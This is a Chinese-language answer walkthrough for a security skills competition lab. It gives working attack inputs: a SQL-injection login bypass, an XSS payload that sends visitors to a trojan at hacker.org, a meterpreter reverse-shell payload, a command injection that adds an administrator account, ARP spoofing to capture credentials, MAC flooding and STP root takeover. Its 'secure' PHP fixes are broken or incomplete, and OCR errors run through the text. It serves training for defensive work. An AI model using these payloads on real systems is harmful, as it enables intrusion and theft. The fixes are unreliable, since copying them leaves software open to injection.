信息安全管理与评估技能大赛第二阶段真题解析
任务1∶SQL注入攻防(55分)
1. Web访问DCST 中的 WebServ2003服务器,进入login.php页面,分析该页面
找到源程序,找到提交的变量名,并截图;(5分)
找到源程序∶
name="usernm"
pass="passwd"
2.对该任务题目1页面注入点进行SQL注入渗透测试,使该Web站点可通过任意
用户名登录,并将测试过程截图;(5分)
Username : any
Password : any' or 100='100
返回 Login sussces
构造注入语句∶
username:任意用户名
password :含:or X=' X
或运算,或上一个永远为真的条件
(X为任意值)
3.进入DCST 中的 WebServ2003服务器的C:\AppServ\www目录,找到loginAuth.php程序,
使用EditPlus工具分析并修改PHP源程序,使之可以抵御SQL注入,并将修改后的PHP源程序截图;( 10分)
$sql="select password from users where '$username' " ; //先匹配username,在匹配上用户名的情况下再去匹配密码
$res=mssql query($sql ,$conn) or exit ("DB Query railure</br>");
if($obj=mssql_ fetch_object (res) ) {
if($obj->password==password) { //匹配密码
setcookie ( "username" ,$username , time ()+600) ;
setcookie ( "password" , $password , time ()+600) ;
header ( "location: success.php"") ;} //用户名密码都对就登陆成功
else{
echo "Password is wrong" ; //密码错误
header ( "Refresh:3 ;url=http: / /192.168.1.119/failure.php");}
}else{
echo "Username Does Hot Exist" ; //用户名不存在
header ( "Refresh:3 ;url=http:/ /192.168.1.119/failure.php") ;}
4.再次对该任务题目1页面注入点进行渗透测试,验证此次利用该注入点对该DCST中的 WebServ2003服务器进行SQL注入渗透测试无效,并将验证过程截图;(5分)
同时包含截图∶
5. Web继续访问DCST 中的 WebServ2003服务器,/"->"Employee Information Query”,分析该页面源程序,找到提交的变量名,并截图;(5分)
找到源程序∶
任务2∶XSS和CSRF攻防(65分)
1. Web访问DCST 中的WebServ2003服务器,/"->"Employee Message Board",分析该页面源程序,找到提交的变量名,并截图;(5分)
找到源程序∶
2.对该任务题目1页面注入点进行XSS渗透测试,并进入"/"->"Employee Message Board"->"Display Message"页面,根据该页面的显示 ,确定是注入点,并将测试过程截图;(5分),
构造注入代码:
<script>while(1){alert("Hacker!");};</script>
while(1)死循环。。。
测试注入成功∶
3.对该任务题目1页面注入点进行渗透测试,使"/"->"Employee Message Board"->"Display Message"页面的访问者执行网站( http://hacker.org/)中的木马程序:http://hacker.org/TrojanHorse.exe ,并将注入代码及测试过程截图;
(5分)
构造注入代码:
<script>
location.href="http://hacker.org/TrojanHorse.exe";
</script>
测试过程∶
4.通过IIS搭建网站( http://hacker.org/),并通过Kali生成木马程序TrojanHorse.exe,将该程序复制到网站( http://hacker.org/ )的 WWW根目录下,并将搭建该网站结果截图;(5分)
要搭建DNS服务器和IIS
kali配置ip命令
root@bt:~# ifconfig eth0 192.168.1.150 netmask 255.255.255.0
root@bt:~# msfpayload windows/meterpreter/reverse_tcp #让它反向连接你,所以设置的LHOST是你kali本机的地址
LHOST=Kali IP LPORT=80 X >/tmp/TrojanHorse.exe
接下来吧生成的程序上传到网站wwwroot目录下就可以使用了
5.当"/"->"Employee Message Board"->"Display Message"页面的访问者执行网站( http://hacker.org/)中的木马程序TrojanHorse.exe 以后,访问者主机需要被Kali主机远程控制,打开访问者主机的CMD.exe命令行窗口,并将该操作过
程截图;(5分)
任务3∶命令注入与文件包含攻防(50分)
1. Web 访问DCST 中的 WebServ2003,服务器,"/"->" Display Directory”,分析该页面源程序,找到提交的变量名,并截图;(5分)
找到源程序∶
name = "directory"
2.对该任务题目1页面注入点进行渗透测试,使页面 DisplayDirectoryCtrl.php回显C:AWindows目录内容的同时,对WebServer添加账号“Hacker”,将该账号加入管理员组,并将注入代码及测试过程截图;(5分)
注入语句:
列举WINDOWS的同时添加管道符 | ,管道符的作用两个命令同时执行
WINDOWS | net user Hacker P@ssword /add |是管道符,后面的命令是添加一个账号密码 /add是添加
WINDOWS | net localgroup administrators Hacker /add 将Hacker添加到管理员组中
3.进入DCST 中的 WebServ2003,服务器的C:\AppServ\www目录,找到DisplayDirectoryCtrl.php程序,使用EditPlus工具分析并修改PHP源程序,使之可以抵御命令注入渗透测试,并将修改后的源程序截图;( 10分)
修改后的源程序截图:
$directory=$_GET[ 'directory ' ] ;
$str='l'; / /设置一个变量,对管道符做过滤
if ( strstr ($directory,$str)==false) { / /如果输入的字符中包含$str,$str=|,这个时候就判定为攻击,不合法的数据
if ( ! empty ($directory) ) {
echo "<pre>";
system ( "dir /w c:\\".$directory) ;
echo "'</pre> " ;
echo "</br><a href='DisplayDirectory.php '>Display C:'s
Directory</a></br>" ;
}else{
echo "<pre>" ;
system ( "dir /w c:\\") ;
echo "</pre>" ;
echo "</br>Please enter the directory name!</br>" ;
echo "</br><a href='DisplayDirectory.php '>Display c:'s
Directory</a></br>" ;
}
}else{
exit ( "Illegal input ! ") ;}
}
4.再次对该任务题目1页面注入点进行渗透测试,验证此次利用注入点对该DCST中的 WebServ2003服务器进行命令注入渗透测试无效,并将验证过程截图;(5分)
利用注入点对该DCST 中的 WebServ2003服务器进行命令注入渗透测试;
任务4∶数据窃取防护:二层攻防(45分)
1.将PC1、Kali所连接端口划入与WAF同一VLAN (VLAN10),并将PC1、Kali分配与DCST服务器相同网段P地址,使PC1、Kali、DCST 中的WebServ2003服务器能够在同一个网段(VLAN10)内相互Ping通。(2分)
Pc1、Kali、DCST同在VLAN10; ( #show vlan )
设备基础配置:
DCRS-5650#config
DCRS-5650(config)#vlan 10
DCRS-5650(config)#switchport interface ethernet 1/0/1-24
set the port rthernet1/0/1 access vlan 10 successfully
set the port Ethernet1/0/2 access vlan 10 successfully
set the port Ethernet1/0/3 access vlan 10 successfully
... ...
set the port Ethernet1/0/24 access vlan 10 successfully
DCRS-5650(config)#interface vlan 10
DCRS-5650(config-if-vlan10)#ip address 192.168.1.1 255.255.255.0
% overlap other interface ip address
DCRS-5650(config-if-vlan10)#exit
DCRS-5650(config)#no interface vlan 1 / /删除vlan 1
DCRS-5650(config)#interface vlan 10
DCRS-5650(config-if-vlan10)#ip address 192.168.1.1 255.255.255.0
server地址:192.168.1.119
PC1地址:192.168.1.115
kali:
root@bt:~# ifconfig eth0 192.168.1.200 netmask 255.255.255.0
2.查看DCRS交换机 VLAN10的MAC地址表容量信息,并将DCRS交换机 配置相关参数、查看命令、查看结果截图。(3分)
show mac-address-table count vlan 10
DCRS-5650#show mac-address-table count vlan 10
compute the number of mac address. . . .
Max entries can be created in the largest capacity card:
Total Filter Entry Number is: 16384 / /MAC地址表的容量是16384条,那他就可以学16384条
static Filter Entry Number is: 16384
Unicast Filter Entry Number is: 16384
current entries have been created in the system:Total
Total Filter Entry Number is: 5 / /目前学到了5条
static Filter Entry Number is: 1
Unicast Filter Entry Number is: 5
Hidden Filter Entry Number is: 0
DCRS-5650#
3.从 Kali 发起MAC Flooding 渗透测试,使DCRS交换机的MAC地址表溢出,使其在MAC地址表溢出的条件下,无法学习到PC1和DCST中的 WebServ2003服务器的MAC地址表信息,查看DCRS交换机的MAC地址表信息,并将渗透测试敲寸程截图。(5分)
macof命令是生成随机的MAC地址发送到交换机
泛洪攻击后的mac表
DCRS-5650#show mac-address-table count vlan 10
compute the number of mac address. . . .
Max entries can be created in the largest capacity card:
Total Filter Entry Number is: 16384
static Filter Entry Number is: 16384
Unicast Filter Entry Number is: 16384
current entries have been created in the system:Total
Total Filter Entry Number is: 16384 / /目前学到了16384条,他就被占满了,
static Filter Entry Number is: 1
Unicast Filter Entry Number is: 16384
Hidden Filter Entry Number is: 0
DCRS-5650#
DCRS-5650#show mac-address-table
Read mac address table ... .
Vlan Mac Address Type Creator Ports
------------------------------------------------------------------
10 00-03-07-42-81-d7 DYNAMIC Hardware Ethernet1/0/1
10 00-03-0f-61-5c-3a DYNAMIC Hardware Ethernet1/0/1
10 00-09-b5-54-6b-ac DYNAMIC Hardware Ethernet1/0/1
10 00-0a-1c-2f-17-df DYNAMIC Hardware Ethernet1/0/1
10 00-0a-d9-51-26-d1 DYNAMIC Hardware Ethernet1/0/1
10 00-0b-17-02-12-97 DYNAMIC Hardware Ethernet1/0/1
10 00-0b-f7-29-b9-bd DYNAMIC Hardware Ethernet1/0/1
10 00-0c-29-4e-c7-10 DYNAMIC Hardware Ethernet1/0/1
10 00-0c-29-8f-46-42 DYNAMIC Hardware Ethernet1/0/1
10 00-0c-29-9f-8f-99 DYNAMIC Hardware Ethernet1/0/1
10 00-0C-53-34-3a-2c DYNAMIC Hardware Ethernet1/0/1
10 00-0e-77-7b-7e-e0 DYNAMIC Hardware Ethernet1/0/1
10 00-10-56-7e-21-8e DYNAMIC Hardware Ethernet1/0/1
10 00-12-9d-20-29-c1 DYNAMIC Hardware Ethernet1/0/1
10 00-13-a9-1b-91-53 DYNAMIC Hardware Ethernet1/0/1
/ /这里面全是没有用的MAC,目的就是占满交换机的MAC地址表。
任务5∶数据窃取防护:ARP攻防(45分)
1.在PC1访问DCST 中的 WebServ2003,服务器时,查看PC1,和DCST 中的WebServ2003服务器的ARP缓存信息,并将PC1和DCST中的 WebServ2003服务器的ARP缓存信息截图。(5分)
三台设备的信息:
Server
lP:192.168.1.119
MAC: 00-0C-29-9F-8F-99
Kali:
lP:192.168.1.200
MAC:00-0C-29-4E-C7-10
PC1:
IP:192.168.1.115
MAC:00-0C-29-8F-46-42
PC1访问过Server后,会有Server的ip和mac
PC1:
C: Docunents and Settings '\Administrator>arp -a
Interf ace: 192.168.1.115---0x2
Internet Address Physical Address Type
192.168.1.119 00-8c-29-9f-8f-99 dynamic
Server:
C: \>arp -a
Interf ace: 192.168.1.119---0x2
Internet Address Physical Address Type
192.168.1.135 00-0c-29-8f-46-42 dynamic
2.在Kali对PC1进行ARP Spoofing 渗透测试,使PC1无法访问DCST中的WebServ2003服务器,PC1的ARP缓存为:DCST 中的 WebServ2003服务器IP->Kali的MAC地址,在PC1查看被Kali毒化后的ARP缓存信息,并将该信息截图。(5分)
ARP攻击
┌──(root㉿kali)-[~]
└─# arpspoof -t 192.168.1.115 192.168.1.119 / / 1.115是PC1的地址,欺骗PC1,告诉他我是Server 1.119
0:c:29:4e:c7:10 0:c:29:8f:46:42 0806 42: arp reply 192.168.1.119 is-at 0:c:29:4e:c7:10
0:c:29:4e:c7:10 0:c:29:8f:46:42 0806 42: arp reply 192.168.1.119 is-at 0:c:29:4e:c7:10
0:c:29:4e:c7:10 0:c:29:8f:46:42 0806 42: arp reply 192.168.1.119 is-at 0:c:29:4e:c7:10
0:c:29:4e:c7:10 0:c:29:8f:46:42 0806 42: arp reply 192.168.1.119 is-at 0:c:29:4e:c7:10
0:c:29:4e:c7:10 0:c:29:8f:46:42 0806 42: arp reply 192.168.1.119 is-at 0:c:29:4e:c7:10
攻击之 前 PC1的arp表
PC1:
C: Docunents and Settings '\Administrator>arp -a
Interf ace: 192.168.1.115---0x2
Internet Address Physical Address Type
192.168.1.119 00-8c-29-9f-8f-99 dynamic
这里的MAC地址还是对的,是Server的
攻击之 后 PC1的arp表
PC1:
C: Docunents and Settings '\Administrator>arp -a
Interf ace: 192.168.1.115---0x2
Internet Address Physical Address Type
192.168.1.119 00-0c-29-4e-c7-10 dynamic
攻击后的MAC地址就变成了Kali攻击机的MAC地址了
3.在Kali对PC1.和DCST 中的 WebServ2003,服务器进行ARP中间人渗透测试,使Kali 能够使用wireshark 监听到PC1向DCST 中的 WebServ2003服务器的LoginAuth.php页面提交的登录网站用户名、密码参数,并将该渗透测试过程截图。(7分)
ARP中间人
欺骗Server和PC1,使其都把kali当作对方,
特殊注意,需要在kali开启路由功能
对PC1ARP攻击的同时,再对Server也开启ARP攻击
┌──(root㉿kali)-[~]
└─# arpspoof -t 192.168.1.119 192.168.1.115 / / 1.119是Server的地址,欺骗Server,告诉他我是PC1 1.115
0:c:29:4e:c7:10 0:c:29:9f:8f:99 0806 42: arp reply 192.168.1.115 is-at 0:c:29:4e:c7:10
0:c:29:4e:c7:10 0:c:29:9f:8f:99 0806 42: arp reply 192.168.1.115 is-at 0:c:29:4e:c7:10
0:c:29:4e:c7:10 0:c:29:9f:8f:99 0806 42: arp reply 192.168.1.115 is-at 0:c:29:4e:c7:10
0:c:29:4e:c7:10 0:c:29:9f:8f:99 0806 42: arp reply 192.168.1.115 is-at 0:c:29:4e:c7:10
0:c:29:4e:c7:10 0:c:29:9f:8f:99 0806 42: arp reply 192.168.1.115 is-at 0:c:29:4e:c7:10
攻击后,两台设备的ARP表
PC1:
C: Docunents and Settings '\Administrator>arp -a
Interf ace: 192.168.1.115---0x2
Internet Address Physical Address Type
192.168.1.119 00-0c-29-4e-c7-10 dynamic
攻击后的MAC地址就变成了Kali攻击机的MAC地址了
Server:
C: \>arp -a
Interf ace: 192.168.1.119---0x2
Internet Address Physical Address Type
192.168.1.115 00-0c-29-4e-c7-10 dynamic
Server的ARP表中PC1的MAC也变成了kali的MAC
Kali开启路由功能
# echo 1 > /proc/sys/net/ipv4/ip_forward
此时就可以监听PC1到服务器的流量
此时就可以监听PC1到服务器的流量
打开wireshark监听
获取登陆的账号密码
任务6∶数据窃取防护:生成树攻防(40分)
1.在DCRS 交换机开启生成树协议,生成树协议模式为STP,DCRS 交换机优先级为0(根交换机),防止网络出现物理环路,显示 DCRS交换机生成树协议的状态,并将该信息截屏;(5分)。
交换机配置:
DCRS-5650(config)#spanning-tree
MSTP is starting now, please wait. . . .. . . . . . ..
MSTP is enabled successfully.
DCRS-5650 (config) #spanning-tree mode stp
DCRS-5650(config) #spanning-tree mst 0 priority oDCRS-5650 (config) #end
DCRS-5650#sh spanning-tree
**********************************Process 0*****************************
-- STP Bridge Config Info --
standard : IEEE802.1d
Bridge MAC : 00:03:0f:61:5c:3b
Bridge Times : Max Age 20,Hello Time 2, Forward Delay 15
Force version : 0
#############################################################
Self Bridge Id : 0.00:03:0f:61:5c:3b
Root Id : this switch / /这个交换机是根交换机
Ext.RootPathcost : 0
Root Port ID : 0
PortName ID ExtRPC state Role DsgBridge DsgPort
Ethernet1/0/1 128.001 0 LRN DSGN 0.00030f615c3b 128.001
DCRs-5650#
2.在Kali向DCRS交换机发起Take Over The Root Bridge渗透测试,使DCRS交换机认为Kali为Root Bridge,显示DCR交换机生成树协议的状态,并将该信息截屏;(5分)
也就是 根 替换攻击
Kali:打开 yersina工具
root@bt:~# yersina
操作完成后,再到交换机上查看生成树的优先级
DCRS-5650#sh spanning-tree
**********************************Process 0*****************************
-- STP Bridge Config Info --
standard : IEEE802.1d
Bridge MAC : 00:03:0f:61:5c:3b
Bridge Times : Max Age 20,Hello Time 2, Forward Delay 15
Force version : 0
#############################################################
Self Bridge Id : 0.00:03:0f:61:5c:3b
Root Id : 0.00:03:0f:60:5c:3b / /这个攻击的就很很隐蔽,把中间的61改成60,非常隐蔽
Ext.RootPathcost : 20000
Root Port ID : 128.1
PortName ID ExtRPC state Role DsgBridge DsgPort
Ethernet1/0/1 128.001 0 LRN DSGN 0.00030f605c3b 128.001
DCRs-5650#
3.配置DCRS 交换机生成树协议安全特性,阻止Take Over The Root Bridge渗透测试,并将 DCRS 交换机相关配置信息截屏;(7分)
有三种做法
做法一:
VLAN10的每个接口都做∶
Switch(config-if-ethernet1/0/X)#spanning-tree rootguard
做法二∶
VLAN10的每个接口都做∶
Switch(config-if-ethernet1/0/X)#spanning-tree portfast bpduguard
recovery(任意值)
做法三
VLAN10的每个接口都做∶
Switch(config-if-ethernet1/0/X)#spanning-tree portfast bpdufiltere